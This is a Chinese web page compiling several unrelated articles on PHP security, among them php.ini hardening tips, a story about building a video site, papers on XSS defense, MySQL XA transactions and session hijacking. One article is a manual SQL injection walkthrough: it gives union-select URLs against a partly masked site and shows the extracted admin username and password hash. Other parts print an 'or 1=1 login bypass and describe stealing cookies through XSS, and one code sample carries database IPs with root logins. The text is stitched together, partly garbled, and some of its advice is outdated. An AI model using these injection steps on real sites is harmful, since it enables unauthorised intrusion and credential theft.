PHP安全

2024-05-22

PHP安全(精选十篇)

PHP安全 篇1

PHP的配置主要是对配置文件php.ini进行修改, 如果是默认安装的PHP, 则配置路径unix/linux为/usr/local/apache2/conf/php.ini, windows则为c:winodwsphp.ini。如果这2个路径下面没有找到php.ini文件, 则可以通过写一个php文件里面写入phpinfo () 函数, 再用浏览器查看, 就可以看到php.ini路径信息了。如图1所示, 路径为/etc/php5/apache2/php.ini。下面就讨论如何配置该文件能够更好的防止phpshell和SQL Injection的威胁。

1. 开启PHP的安全模式safe_mode

PHP的安全模式safe_mode是个非常重要的内嵌安全机制, 它是为了试图解决共享服务器 (shared-server) 安全问题而设立的。开启安全模式后会对PHP内置的函数进行权限限制, 特别是和系统相关的文件打开、命令执行等函数。该模式也不允许对某些关键的文件进行操作, 如/etc/passwd。打开安全模式能避免一些未授权的访问, 同样也会带来很多限制, 可能导致代码运行出错。默认的php.ini是没有打开安全模式的, 打开此功能需要修改php.ini文件:

safe_mode=on

开启安全模式后如果在编写代码的过程中需要使用include或require包含系统上的某个共享库文件时, 那么可以使用safe_mode_include_dir选项来设置包含文件的路径, 从而保证代码可以被正确的包含并运行。如果要想在安全模式下包含/var/www/php下的文件, 那么可以设置选项为:

safe_mode_include_dir=/var/www/php

当然该选项指定的是一个前缀, 而不是一个特定的目录名。这里设置的值为/var/www/php则PHP将允许访问/var/www/phpabc和/var/www/php/test等的一切以/var/www/php为前缀的目录。如果需要控制访问为该指定目录则需要在该目录结尾处添加一个斜线, 即/var/www/php/。

如果包含需要执行的文件, 则需要通过设置safe_mode_exec_dir选项来解决。需要执行/var/www/php/php-bin路径下的文件, 则该选项需要设置为:

safe_mode_exec_dir=/var/www/php/php-bin

该选项必须使用/作为目录分隔符。

如果需要对环境变量进行设置, 那么safe_mode_allowed_env_vars选项则可以实现。该选项包含有一个逗号分隔的前缀列表, 用户只能改变那些名字具有在这里提供的前缀的环境变量, 默认是允许以php_开头的环境变量, 如果想改变, 可以设置该选项的值:

safe_mode_allowed_env_vars=php_

如果该选项为空, PHP则允许用户修改任何环境变量。

2. 关闭注册全局变量register_glob-als

register_globals是php.ini里的一个配置, 这个配置影响到php如何接收传递过来的参数, 比如:GET, POST, Cookie。当注册全局变量设置为on时, 通过GET, POST, Cookie三种方式传递的值会被注册为全局变量并且可以直接访问, 这样的设置对服务器来说是很危险的。所以出于安全的考虑要把注册全局变量选项关闭:

register_globals=Off

例如以下test.php代码, check_user () 用来检查当前用户的使用权限, 如果用户为系统管理员则设置$system变量值为1, 然后判断此变量是否为1, 如果是则执行相应操作。

这一段代码没有对$system变量进行初始化, 如果注册全局变量register_globals开启, 那么就可以根据此特性直接提交链接http://www.xxx.com/test php?system=1, 给变量$system赋值为1, 这样就顺利绕过了check_user () 的检查而具有了此系统管理员的权限。因此出于安全的考虑在配置php.ini时应关闭register_globals。

需要特别注意的是从PHP4.2.0版开始, 配置文件中register_globals的默认值从on改为off了。则代码中获取变量的方式也要相应的要进行改变, 例如通过POST提交的变量user, 则需要用$_POST['user']来进行获取, 但无论哪种方式, 都应该对变量进行初始化。

(1) 打开magic_quotes_gpc

该设置是为GPC (Get/Post/Cookie) 操作设置magic_quotes状态。当magic_quotes_gpc设置成off的时候, 如果程序员在编写代码的时候对输入的变量没有做任何过滤处理的话, 极易造成sql注入漏洞。如果magic_quotes_gpc被设置成on, 则通过Get/Post/Cookie方式获得的数值中所有的' (单引号) 、" (双引号) 、 (反斜杠) 和NUL's被一个反斜杠自动转义, 从而保证了数据输入的安全性。

例如如下数据库验证代码:

select*from login where user='$user'and pass='$pass'

如果用户输入$user和$pass都为1'or'1'='1, GPC设置成off的情况下, 则该语句为:

select*from login where user='1or'1'='1'and pass='1'or'1'='1'

可以看到, 该语句就被构造成真值从而绕过了验证。但是如果GPC设置成on, 经过PHP转义, 输入的1'or'1'='1就会被转义成1'or'1'='1语句就会变成:

select*from login where user='1or'1'='1'and pass='1'or'1'='1'

这样在数据库查询的时候就会出错, 从而避免了sql注入漏洞的发生。

当然如果GPC设置成off, 在编写代码的过程中, 用addslashes () 函数对输入变量进行过滤, 也可以达到一样的过滤效果。

3. 结语

PHP安全 篇2

传说中人闲得无聊的时候总会下意识地找点什么事情做,恰巧这段时间我正因为种种缘由处在这种状态之中,于是乎我便打算模拟个什么项目来练练手,也好让自己有聊些。Web2.0仍作为一个囫囵吞枣的概念被国内的网络圈狂热地追捧着,所以项目俺就挑选了比较典型的视频网,跟着赶赶时髦。故事也就由此开始了……

【软件工程】

既然是模拟一个完整的项目,那么了解一下“软件工程”的概念是很有必要的。简单说,软件工程就是“采用工程的概念、原理、技术和方法来开发与维护软件,把经过时间考验而证明正确的管理技术和当前能够得到的最好的技术方法结合起来。”(张海藩 1998)实际上网站也可以看成是一种软件,比如它有软件界面(网页),也有后台事务处理(后台PHP程序、数据库等),所以同样能应用软件工程。

一个人从生到死,经历胎儿、儿童、青年、中年、老年等各个阶段,称之为“生命周期”。同样,一个软件也要经历创意、开发、使用和废弃这样一个过程,这就是软件的生命周期。软件生命周期一般分为软件定义、软件开发和软件维护三大阶段,每一阶段又能进一步细化,比如一个通用的软件过程框架就可以是:

1.沟通:与客户交流,确定要达到的目标是什么,多大规模等。

2.策划:描述要执行的技术任务,分析可能的风险及资源需求,制订工作进度计划等。

3.建模:软件设计阶段,建立需求模型和软件设计模型等。

4.构建:编制代码(手写或自动生成)和测试。

5.部署:将完成的软件产品交付使用,并作后期维护。

传统的软件工程,大致按上面的步骤一环紧扣一环进行,如同一泻千里的瀑布,所以称之为“瀑布模型”。

组建梦幻团队

一个人毕竟能力有限,于是我偷偷拽上室友—一个自诩为设计师的家伙,请允许我这样称呼他—Y。于是乎我们两人组成了一个有着完整结构的团队:需求分析、系统架构、主程序员和系统优化由我一并承担,同样Y也不得不肩负起用户体验设计、用户界面设计并实现、前台实现、黑白盒测试和客户沟通等多项任务。与客户沟通是一项涉及到民生的大事,毕竟客户才是我们的衣食父母。而对于更注重逻辑的我而言,要与客户华丽而优雅地交流,在体现出我们专业的同时还要有艺术的热情,实在不是一件轻松的工作。

恰到好处的客户需求

“食君之禄,忠君之事”,让客户以更低廉的成本实现更高能的需求,是我们应该达成的准则。因此,我们应该尽可能地减少服务器数量和网络带宽的占用,同时尽可能地保持项目的可发展性。不过在与客户沟通之前,我一再叮嘱Y:用我们超人的智慧去帮客户扩展需求大可不必了,这并不是一个明智的选择—当然,尽可能地从安全和实用性角度去帮助客户精炼需求同时也优化用户体验,还是一个好员工所应该做的。不过过分地重视流量一直是中国网络圈的顽疾,哪怕是在Web2.0的华丽外表之下。所以如果客户对于优化用户体验并不热心的话,还是就此作罢得好。

【需求分析】

正式项目中,需求分析是前期非常重要的工作任务,它贯穿了软件生命周期前期阶段(从沟通到建模)。简单说来,需求分析的任务就是解决“这个软件要做什么”的问题,这需要多方沟通,全面理解用户的各项要求,最终形成一个准确、全面的用户需求列表。

精益求精设计建模

一个项目的研发周期中,前一半应该都留给设计,后四分之一为测试和维护保留,真正留给开发的时间寥寥无几。所以在编码之前的设计期间,我和Y就尽可能地弄清所有潜在的问题。同时,为了让团队运转得更加高效,我(程序)和Y(美工)决定齐头并进,同时展开各自负责的工作,只需在最后阶段再合作拼装就可以了。

视频网需要实现的基本功能不外乎这么几点:多媒体播放、包含了评论的扩展社区、好友、圈子和刺激用户的一系列榜单等(如图1所示就是一个典型的视频网页面结构)。于是我们这个团队的两大巨头开始频繁碰头,商定数据取舍,同时在客户规定的关键用户体验上进行完善。商定结束后便兵分两路,我拿着罗列的数据开始尝试设计程序结构。因为是视频网,大量的视频下载会是程序性能的最大瓶颈,所以在程序设计之初便需要考虑清楚视频的分布、命名和下载规则,而不是要等到程序基本完成之后整体优化时才做这个工作。

图1

【设计思路】

1.预先使用多服务器分布视频,可以分解大量用户访问时的压力——即便最初因为成本问题只允许一台服务器存放视频,也可以在此服务器下载流量达到一定高度时添加镜像。一定不要因为最初设计上的短视,导致运转正常的网站被迫关闭以整修的方式再开发升级。

2.使用特殊规则重命名上传的规则,让恶意用户和爬虫(可以自动提取数据的一类网络程序)无规律可循。这主要是为了保障客户的利益,毕竟谁也不想自己辛辛苦苦整出来的成果被他人剽窃。

3.下载规则的制定包括三个部分,一是多用缓存减少用户重复访问次数,这点主要是RFC中的一些HTTP头定义在起作用(RFC是Request For Comments的缩写,它几乎包含了所有Internet相关的重要资料文档);二是尽量避免用户使用多线程下载,这点也还是由HTTP头定义操控;三是对视频的下载进行监控,需要的时候手动维护。

视频规则想清楚之后,就该设计数据库了。我先遵循第三范式(3NF)来上一遍,然后根据视频网的实际需要小小地逆反一下,目的在于让程序消耗在数据库上的时间和资源最小。如果客户告知了后继可能发展的话,在设计时也应该尽可能为后继发展留下空间。不过需要注意的是,如果涉及比较冗杂的计算或排序时,最好在此时便将镜像表(无论物理表还是内存表)都设计好。具体到MySQL上,自然是大数据尽可能不入库,字符串类型字段尽可能使用CHAR而非VARCHAR,同时表类型尽可能为FIXED。这些都做完后,就去看看Y的进度喽。他根据用户体验制作的用户界面范稿已经出来了,并且客户也认可了。

【名词解释】

构造数据库必须遵循一定的规则,在关系数据库中,这种规则就称作范式。更多关于范式的内容,可访问http://bbs.cfan.com.cn/thread-666109-1-1.html查看。

根据设计出来的数据字典建立对应的模型,三下五除二罗列出来扔给Y,让他拼出一份雍容华贵的设计文档交送客户过目——自然也得在文档的排版布局上体现出本项目的风格特色出来——虽然实际项目中这样做实在功夫深效果小,但本着精益求精的精神,其消耗的时间就忽略不计了。理所当然地,客户看到了这样一份在表现上堪称经典的设计文档,除了满意肯定不会有什么别的想法了。

万事俱备只欠编码

前期设计工作告一段落,接下来就是重复劳动造代码的时间了。考虑到只有自己这么一个苦力写代码,所以工作分解和排期就大可不必了。十指劈劈啪啪在Zend Studio里敲个不停,偶尔切换到单元测试页按F5键试试能否通过。

软件的测试也是一个浩大的工程,一两句根本说不清楚,这里俺就一笔带过了。其实测试的时间比真正编写代码的时间还要长呢。

风雨之后见彩虹

至此,项目程序终于搬到了正式服务器上,剩下的工作只是小小的调整和优化而已。Y疲于应付客户在界面和用户体验上的小修正和小要求,不过考虑到项目结束即将到来的钞票,我坚信他现在是幸福而快乐的。终于这个项目结束啦,俺的模拟事业也暂告一段落,有机会松口气了。文末再点点题,小子狂妄,说得错了还请诸位多多海涵啊!

图书推荐

对一个软件项目的负责人来说,软件工程知识不可或缺。哪怕只是软件项目中具体负责程序编写的程序员,也完全有必要了解一下软件工程的概念(即使你没打算有朝一日去做系统分析师),这有助于开阔视野,对软件开发有个总体感觉。

浅析PHP安全漏洞防范技术分析 篇3

随着社会科技不断的进步,网络应用已经推广至各个行业,并起到举足轻重的作用。当前,社交网络不断的发展壮大,像微博、微信以及朋友圈等新型互联网产品不断的衍生出来,互联网的应用。当前我国正在大力推进电子商务企业的发展,企业在信息化建设过程中,企业的应用要搭建在Web平台上,因此Web的业务也得到迅猛的增加。随着网络规模不断的扩大,企业对Web应用的依赖不断的增加。Web的安全问题也随之而来,黑客利用Web应用的安全漏洞对web服务器进行攻击,如非法获取控制权、篡改网页内容,盗取重要数据以及在网页中插入病毒等手段。如索尼公司的网站在2011年遭受黑客攻击,造成1.71亿美元的损失,花旗银行被黑客攻击后,使三十六万客户受到影响。Web的安全问题因此受到越来越多的关注。目前,利用PHP即Hypertext Preprocessor技术所搭建的Web应用程序是目前互联网中最为广泛的Web应用,然而,PHP Web应用程序中存在许多安全漏洞,这些安全漏洞给服务器及用户都带来了很大的安全隐患。针对这种情况,本文对PHP安全漏洞防范技术展开研究,分析了PHP的跨站脚本漏洞以及文件上传漏洞等攻击手段,并对此给出了相关的防御措施。

1 PHP 安全漏洞分析

Web安全漏洞一般是指在网络硬件设备、软件以及网络协议等在具体实现代码以及安全策略上存在着一定的缺陷,网络攻击者一旦获取这些安全漏洞后,便可以在网络应用未授权的情况下进行非法控制网络、进行网络破坏以及盗取重要数据等破坏行为。一般来说,WEB安全漏洞分为两类:第一种类型为web应用平台初始设计时遗留下来的自身的安全漏洞,例如windows、Linux、Apache以及Oracle平台自身的漏洞。第二种类型为web应用自身存在的安全漏洞,这种在web应用编程的错误极有可能泄漏用户的私人信息,甚至被黑客利用远程访问命令进行数据库查询,用来实施数据的窃取与泄露。

PHP Web应用程序中经常见到的安全漏洞为如下几种类型:注入型漏洞、跨站脚本、代码执行漏洞、文件上传漏洞以及PHP编程代码的注入型漏洞等等。本文针对PHP的跨站脚本漏洞以及文件上传漏洞等攻击手段对PHP web应用程序进行防范措施的分析。PHP Web应用程序出现安全漏洞的主要原因有如下三种情况:第一种情况为,Web应用程序在进行动态文件系统调用时,对用户的输入没有严格的限制,甚至没有合理的验证。例如indude()以及fopen Q;第二种情况是,在PHP的网络应用之前的配置问题,例如默认启动al low—url_fopen等。第三种情况为,对用户执行代码的控制权限设置不够全面。PHP提供了大量的便于Web应用程序开发的函数,这些函数在为开发人员带来研发便利的同时也引入了新的安全风险。下面本文将对文件上传漏洞以及跨站脚本攻击方式以及原因进行分析,并给出了响应的防范措施。

2 PHP 安全漏洞的防范措施

跨站脚本(Cross Site Script,CSS)漏洞攻击主要是指攻击者相网页中插入恶意的HTML超文本传输控制协议代码,当用户对被恶意植入HTML代码的网页进行浏览时,被插入的恶意代码立刻被执行,从而进行数据窃取和恶意破坏的攻击行为。

(1)跨站脚本安全漏洞实例

针对PHP跨站脚本安全漏洞的攻击手段有很多,本文以实例的方式来分析PHP跨站脚本的安全漏洞。假设PHP的BBS论坛上面有一个发帖页面,该发帖页面使用表单提交的方法将数据上传至服务器,表单的HTML代码如图1所示。

假如程序向访问BBS论坛的用户显示已经发表的帖子,则使用如下PHP代码:

<?php

echo”<p>$Title<br/>”;//标题

echo”<bloekquote>$Content</blockquote></p>”;//内容?>

在这段PHP代码中,程序对$Title以及$Content的值给予了完全的信任态度,然而这种对帖子标题和内容响应的完全信任是不正确的。假如将上述$Title以及$Content的内容植入一段JSP代码,并能够将所有登录用户的暂存内容,即cookies的内容发送至指定的计算机并获取所有登录用户的账户名及密码。

(2)跨站脚本安全漏洞的攻击防范技术

上述跨站脚本安全漏洞实例主要是因为,PHP在对输出到浏览器的数据未进行转义操作造成的。因此,为了避免跨站脚本安全漏洞攻击,需要采用如下的方法避免这种安全漏洞攻击。图2显示的是防范措施的代码。

该代码主要通过函数htmlentities 0将数据输入时的HTML标签转换为HTML的编码形式,从而有效的避免了跨站脚本安全漏洞的攻击

3 结束语

本文着重分析了PHP安全漏洞的危害性,深入分析了PHP安全漏洞的特征以及形成安全漏洞的主要原因,最后以范跨站脚本安全漏洞为例,深入探讨了安全漏洞的原因以及防范PHP安全漏洞的方法和措施。

摘要:应用PHP即Hypertext Preprocessor技术所搭建的Web应用程序是目前互联网中最为广泛的Web应用,随着网络应用规模越来越大,病毒对网络的攻击手段也在不断的升级,尤其利用PHP Web应用程序中存在的安全漏洞进行的网络攻击危害性更大,为社会财产安全带来极大的威胁。本文围绕着PHP安全漏洞防范技术展开研究,针对PHP的跨站脚本漏洞以及文件上传漏洞等攻击手段,给出了响应的防范措施,为PHP网络应用的安全漏洞分析以及安全组件设计给出了一定的理论依据和实践指导经验。

关键词:PHP,网络安全,安全漏洞,防范技术

参考文献

[1]陈景峰,王一丁,张玉清,刘奇旭.PHP的存储型XSS攻击向量自动化生成技术[J].中国科学院研究生院学报.2012.

PHP安全 篇4

全文

原文地址: www.tkbbs.com/Article/wlaq/hkgf/10/856.html

参考文章 用Union进行高效注入

事件起因是用 HDSI过程当中 的WEBSHELL管理 有一个网站 显示是 SQL 注入 于是感兴趣的那工具扫 当然 无法 扫到管理帐号 工具无效。。 哈哈 于是开始手工注射

注射地址为 :www.XXX.net/read.php?type=news&id=29

www.xxxx.net/read.php?type=news&id=29/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7/**/from/**/admin

上面的字符的意思是 查询 ADMIN表的字段数目 可以逐个增加最终页面 不在提示出错可以看到 页面出现了 2 4和作者后面的3

说明程序调用了这几个字符 如图1

于是把上面的 2 3 4 分别替换成 count(id):查询有几个管理人员 min(id):管理人员帐号ID最小值 max(id):管理人员帐号ID最大值

成为下面的语句

www.xxxx.net/read.php?type=news&id=29/**/and/**/1=2/**/union/**/select/**/1,count(id),min(id),max

(id),5,6,7/**/from/**/admin

如图2

上面的 原来的 2的地方 显示 24的地方显示2 3的地方显示1 说明 管理人员ID最大的为2 ID最小的为1 总共两个管理人员

下面查询 他的管理ID叫什么 密码和 ID

usernamepassword id

把上面的 2 3 4 分别替换成usernamepassword id这个过程如果没爆出来 可以把 这几个字段换成其他的尝试

www.xxxx.net/read.php?type=news&id=29/**/and/**/1=2/**/union/**/select/**/1,username,password,1,5,6,7/**/from/**/admin

或 www.xxxx.net/read.php?type=news&id=29/**/and/**/1=2/**/union/**/select/**/1,username,password,2,5,6,7/**/from/**/admin

如图3

看见了吗管理者 ID 为1 帐号为 wnjy密码是 $1$BX$/.kw1RvBf/Un7c9heGMPb0

PHP安全 篇5

关键词:MySQL;PHP;分布式事务处理

中图分类号:TP311.13

PHP和MySQL是一种比较出色的开放源码软件,这种组合形式已经成为很多人的建站模式。计算机网络的发展需要一个十分强大的数据库做后台,这些系统与系统、数据与数据之间的分布式事务处理利用PHP和MySQL的功能可以做到分段式处理方式,保证了整体数据的完整性,一旦出现问题,通过引入XA概念将PHP和MySQL的程序简化,整体事务由XA来完成,应用程序只负责数据为的处理,从而大大优化了了应用程序的操作方式与成功率。

1 MySQL概念

MySQL是一个管理系统软件,是一种开放源码软件,它的利用程度非常自由。由于软件本身的特点非常明显,快速、成本低且体积小,所以在中小型企业中非常流行。它的功能应用广泛,通过测试证明它非常准确、稳定,完全可以适用于多CPU102 2001.18计算机。MySQL软件是一种核心级多线程资源,可以在不同区域不同平台上进行操作,丰富了set、blob、timestamp等数据类型,可支持多数据库统一查询,为WINDOWS提供ODBC的接口。MySQL的特点不止如此,还有很多技术优点,所以操作者非常喜欢使用该程序软件[1]。

2 PHP的概念

PHP是一个英文缩写名称,即:Hypertext Preprocessor,英文超级本预处理语言的缩写形式,它和ASP都是一种脚本语言,在服务器端嵌入HTML文档,和C语言相似,同样受到广大编程人员的喜爱。PHP的语言形式与多种语言混合,其加杂了C语言、Java、Perl和PHP自带语法,由于PHP是在HTML文档中嵌入程序然后进行执行,所以其效率程度相比CGI更加快速。

PHP功能十分强大并且是免费的开源代码,它本身技术含量低、实用性广、运行快并且还可以跨多种系统中运行,例如:UNIX、WINDOWS、Mac IOS系统[2]。

3 多个数据库的分布式事务处理模式

MySQL中有两种对事务处理的方法,第一种是利用关键字来改变MySQL的自动提交模式,这种方法是由set autocommit=0进行对MySQL的自动提交模式改变,然后将SQL的事务处理完成后提交确认并结束任务。第二种是利用关键字来开始一个事务,确认后再结束事务,也就是是由Begin开始一个事务,直接提交确认完成结束任务。

例:一台ATM自动存取款机,小王想用自己在中国银行的账户转账到交通银行的账户中,这种操作是是利用数据库与数据库中相连接的多个数据库分布式事务处理。数据库中包括账户卡号、余额信息、交易日期、交易类型等信息,是由账户表和日志表进行分别存储。

这种常见分布式事务处理方法如不发生意外,能够一直保持各数据库间的统一性,实现分布式事務处理。可一旦出现意外,如当用户信息传入到数据库服务器中,数据服务器突然死机,服务器还没进行提交,数据库与数据库间将失去联系,无法保证数据的统一性和准确性。或当所有事务处理完成后但数据服务器将操作成功返回给客户时,网络连接突然中断,这同样不能使数据统一,这种情况虽然是服务器操作完成,但是客户认为事务操作失败,但若要检测出哪项事务使任务没有完成,这个过程比较复杂。因此,需要引入两阶段提交协议进行操作,通过PHP和MySQL的分布式事务处理[3]。

4 PHP和MySQL的分布式事务处理的优势

在PHP和MySQL接口连接执行分布式事务时,引入XA概念,PHP和MySQL执行此任务,是将每个服务器上涉及的事务全部提交并返回。根据分段提交方法,在整体事务被执行后。第一阶段,分支事务准备提交时,管理分支的服务器将自动记录分支事务操作,第二阶段事务处理器在准备提交或返回第一阶段的结果时,所有分支同时进行操作,若其中一项分支操作失败,则所有分支操作都被返回。

上文中案例显示,在转账过程中经历多个程序,任何程序环节出现错误则整个交易过程就会失败,在操作过程中,系统将会对操作做出异常情况检测,不管操作成功与否,都需要在第一阶段完成且第二阶段准备就绪后才执行第二阶段,否则数据无法提交[4]。

在实际操作中不可预见任何错误产生将无法挽回,损失严重。所以在处理事务过程中,程序内部需要通知事务提交和返回等事务,如果数据库发生异常,应用程序会检测出数据库的运作进程,并立即使用特殊的编程逻辑弥补此类错误。

上文说到,引入XA概念,PHP和MySQL执行此任务,是将每个服务器上涉及的事务全部提交并返回。引入XA概念的优势是将PHP和MySQL的应用程序简化,事务处理的完整性通过数据库和事务管理器对XA的接口来控制,应用程序无需关心事务的完整性,能更好的对数据库进行处理。分布式事务处理复杂多样,利用与XA的接口处理,全局事务将由事务管理器负责,应用程序只负责提交或返回的操作,这样能够很好的控制多个异地数据库的完整事务处理。

引入XA概念的PHP和MySQL分布式事务处理代码如下:

//初始化账户A和B的数据库连接

$conn24=new MySQLi(“172.16.0.248”,“root”,“”,“test”);

$conn18=new MySQLi(“172.16.0.243”,“root”,“password”,“test”);

//随机生成数字表示存取钱

$account=rand(1,1000);

//生成唯一XA的ID编码

$xid=date(“Ymd”).time();

//lpc开始

$conn24 - >query(“XA START $xid”);

$conn18->query(“XA START $xid”);

5 结束语

综上所述,计算机发展的后备力量是数据库的完整性,数据库建立需要PHP和MySQL,在此基础上增添了分布式应用的操作方法,从而实现了分布式事务处理系统。利用PHP和MySQL建立的完整数据库进行数据的提交与返回操作,避免了应用程序复杂导致的出现异常情况,分布式事务处理一定程度的优化了系统的运行效率,再引入XA的概念,全局事务将由事务管理器负责,应用程序只负责提交或返回的操作,完全不必考虑其它事务处理。

参考文献:

[1]朱国民,贾民平.基于MySQL和VC++的远程状态监测与故障诊断数据库的研发[J].机械制造与自动化,2006(05):127-129-132.

[2]夏玉,宋斌恒.Web Service下的分布式事务处理研究与实现——基于Tomcat、Axis和JOTM[J].计算机应用与软件,2007(05):84-86.

[3]宣振国.基于Mysql的数据库集群设计与实现[D].北京邮电大学,2013.

[4]查小科.分布式并行数据库系统DPSQL中分布式查询和分布式事务的设计与实现[D].电子科技大学,2003.

作者简介:周洁(1979.05-),男,浙江余姚人,教师,讲师,研究方向:PHP语言相关。

PHP安全 篇6

关键词:PHP,网站设计,信息安全,解决措施

信息网络技术的发展促进了网络与信息产业的开发, 在给人们的生活工作带来巨大的便利的同时也给人们的信息安全带来了很大的隐患, 信息网络产业关系到国家的政治, 经济, 社会生活等等的各个方面, 所涉及的范围非常的广泛, 网络信息技术的发展不仅会影响个人的工作、生活, 甚至会影响到国家的政治经济安全, 社会生活等多个方面。

1 PHP网站编码过程中存在的问题

程序员的信息防御安全意识不高, 没有对用户输入的信息进行安全验证的话, 计算机内的安全操作就会被利用, 所以的有害指令都可能被当做合法指令而被执行, 这样一来, 网站内的信息就有可能被轻易的泄露出去, 不仅对网站的设计团队是一个打击, 更主要的是侵犯了用户的信息安全。

1.1 防范sql的注入

一般来说, 网站设计的程序员在进行编写代码使需要对用户输入数据的合法性进行判断, 防止信息轻易被泄露, 但是如果程序员在网站设计时没有进行这项操作的话, 用户就可以通过提交数据库查询代码的方式。根据程序返回的结果获得用户想知道的数据信息资料, 这就是所谓的sql注入。Spl的注入很容易就可以使信息被泄露, 因此, 网站的程序员一定要对用于输入的数据进行合法性判断, 对信息安全进行防御保护。

1.2 or 1=1以及union语句的注入

‘or 1=1’注入是指在登录某系统时可以绕过密码验证, 利用任意用户名登入系统内的侵入方式, 它是网络应用中非常经典的注入语句。这种注入方式是利用程序员在编写验证程序的时候, 没有验证用户的输入是否含有非预期的字符串, 直接传递给计算机函数执行用户的操作请求, 这种语句注入方式可以让密码匹配与否变得不再重要, 而是直接绕过密码验证进入系统, 轻易地获取用户资料与信息。与or 1=1注入语句不同的是, union可以通过该语句的特殊性让程序原本默认的语句出错, 通过让程序执行union之后自己构造的sql语句来达到语句注入的目的, 并直接侵入程序内部。

1.3 xss跨站攻击

xss是一种常见的网站攻击的手段。xss的工作原理与sql注入相差不大, 只是xss是通过将javascript脚本注入到html标签中的方式, 刻意的将恶意内容输入到网页输入框内, 当这些恶意的输入内容重新读回到网站客户端时, 浏览器会自动解释并执行这些恶意的脚本内容, 通过影响网页的正常显示从而达到脚本片段注入的目的。

1.3.1 xss探测

在判断一个网站是否存在xss漏洞是, 通常需要输入探测语句进行网站漏洞监检测, 首先要输入检测语句, 然后找到该语句执行的地方, 如果该地方有弹出窗口就意味着这个网站存在xss漏洞。如果确定该网站存在信息安全漏洞, 黑客就会有很多种攻击手法侵入计算机网络内部, 他们可以通过将当前的网页重定向到其他的网页中去的方式达到刷网站流量的目的, 除此之外, 黑客还可以通过在专享网站上挂上木马程序的手段, 给网站种下病毒, 一旦有不知情的用户进入该网站, 他们的电脑就会自动感染上木马病毒。

1.3.2 xss的利用

XSS是在web应用中经常出现的计算机安全漏洞, 它通过将代码植入网页的方式利用XSS漏洞控制计算机。这种类型的安全漏洞也常常被黑客利用来编写恶意的程序。我们在有些网站进行浏览的时候, 经常会出现有广告弹出的现象, 黑客可以利用xss攻击页面, 使那些正在浏览该网站信息的计算机用户自动弹出窗口, 并且利用这种弹窗在页面挂上木马病毒, 让网页用户无辜感染木马病毒, 以此来获得用户信息。

1.3.3 利用‘iframe’标签进行xss攻击

iframe的主要功能是在网页中嵌入其他网页是一个很常用的html标签, 它可以通过height属性和src指定所嵌页面的具体信息。可以将页面地址设置为被挂马的网页进行cookie数据的窃取。

2 安全防御常用方法

2.1 安全措施对用户透明

进行网站的信息安全保护时要尽量做到安全措施对用户透明, 让用户很难清除安全保护措施的应用。如果这种方法难以操作可以采用较为常见的信息安全防御措施。最直接的方式就是在用户访问受控信息或服务之前, 让他们输入用户名和密码, 这也是一种比较好的常用的信息安全保护措施。

2.2 对数据进行随时跟踪

任何一个有责任意识的网络程序开发者, 都会对数据进行随时的跟踪。通过对数据信息的动向进行跟踪观测防止出现信息安全问题。数据信息的时时跟踪其实是一种比较有难度的信息监测手段, 特别是一些开发者对该运用原理不够了解的情况下, 进行尤其是当你对web的运做原理没有进行深入理解时。一些开发者虽然对网站的开发环境很有经验, 但是对web不是很有经验的时候, 就会在程序开发中犯错并制造安全漏洞。

2.3 对输入信息进行过滤

对输入的信息进行过滤的方法是保证网络信息安全的重要条件, 也是验证输入的数据合法性的过程。通过对用户输入信息的确认对数据进行过滤。这种信息过滤的方式可以避免一些病毒在未知的情况下被误用。目前大多数常用的php应用都存在缺少数据过滤引起信息安全漏洞。

2.4 如何防止sql的注入

虽然网络系统的注入的手段很丰富, 但这些注入方式都有一个共同点, 就是它们都是利用程序没有信息过滤这一弱点。因此, 如果要防止非法注入, 也就需要对查询语句进行过滤, 一般来说, 计算机程序的函数是通过正则表达式进行常用语句匹配并对这些语句进行过滤。因此, 只要采用了过滤之后的函数, 利用注入的方式侵入系统的话都会是失败的。

3 结束语

本文通过对网站设计中常见的几种信息安全漏洞进行分析, 并提出了几种解决这些安全漏洞的防御措施, 在一定程度上有利于信息的维护。

参考文献

PHP安全 篇7

MD5算法在计算机安全防范中起着重要的作用, 使用MD5算法已成为较常用的安全防范手段[1], 由于其单向特性而得到很好的应用[2], 在PHP编程中主要体现在MD5 () 函数的使用上, 主要是对用户名或密码通过MD5算法生成哈希 (Hash) 值从而提高安全性。也就是说, 目前而言使用MD5算法仍然是安全的。而Session劫持是一种比较复杂的攻击方法。目前, 在防XSS攻击、SQL注入漏洞攻击以及源码泄露等方面采取了许多防范措施[3], 其研究重点是在对Session ID值的防泄漏上, 显然各种Session设置会起到较好的防范效果, 本文在PHP中利用MD5 () 函数对Session值以及Session ID值进行Hash处理, 确切地说, 是在Session ID值的储存机制上添加了MD5算法, 作了一些浅析, 相信在Session安全防范方面会起到一定的作用。

2 MD5算法与Session

2.1 关于MD5算法

Hash函数是一种映射, 表示将任意长度的字符串M经过压缩函数H后得到固定长度的字符串H (M) , Hash函数的输出结果是Hash (哈希) 值[4]。MD5是一种Hash函数, 具有Hash函数的特点:包括原象稳固、第二原象稳固和碰撞稳固等特点, MD5算法具有单向性, 是一种较为复杂的单向加密算法, PHP内置的MD5 () 函数把一个可变长度的信息转换为128位 (32个字符) 的信息文摘[5]。如:String md5 (string str) , 这个函数获取字符串格式的str参数, 然后输出固定长度的MD5哈希值。

2.2 关于Session

Session是服务器与客户端建立的一种对话时间片段, 当用户打开浏览器访问网站时, 服务器就用Session来与用户建立联系, 直到用户关闭浏览器后, 这种用Session建立的联系就结束。服务器用Session来正确区分不同的客户端, 当每次客户端浏览器访问服务器时都会发送一个标识 (Session ID) 来表明客户身份, 即Session启动时会随机产生一个由32位字符组成的Session ID值[6], 具唯一性。服务器通过它来区别不同的客户, 并把Session ID值用数据库或以文件名的形式保存起来, 用户的所有变量数据, 包括用户名、密码等信息都保存于对应的Session ID值的数据库记录中, 或保存在以“sess_”+“Session ID值”为文件名的文件中, 如图1所示。

客户和服务器间用Session ID保持彼此的联系, 而不必将所有需要的数据在网上来回传递。服务器收到Session ID时会检查是否存在这个Session ID, 如果不存在, 就简单地创建一个, 并根据这个标识建立一些新的数据;如果该Session ID已经存在, 服务器只是将该Session ID的相关数据提取出来[7]。

3 攻击与防范

3.1 Session的攻击

在客户访问服务器时, 由于web认证方式都是通过cookie或者session来进行的。一方面, Cookie是存在本地的, 客户端可以随意修改, Ssession与客户端交互的方式是session_id;另一方面, PHP在cookie中有一项为PHPSESSID[8], 其session_id与服务器端的session记录文件一一对应, 相当于Token (令牌) 。这样一来, 与session有关的信息将会出现一个可以被客户端修改的session_id, 攻击者利用这个性质可以实现session的欺骗和劫持。

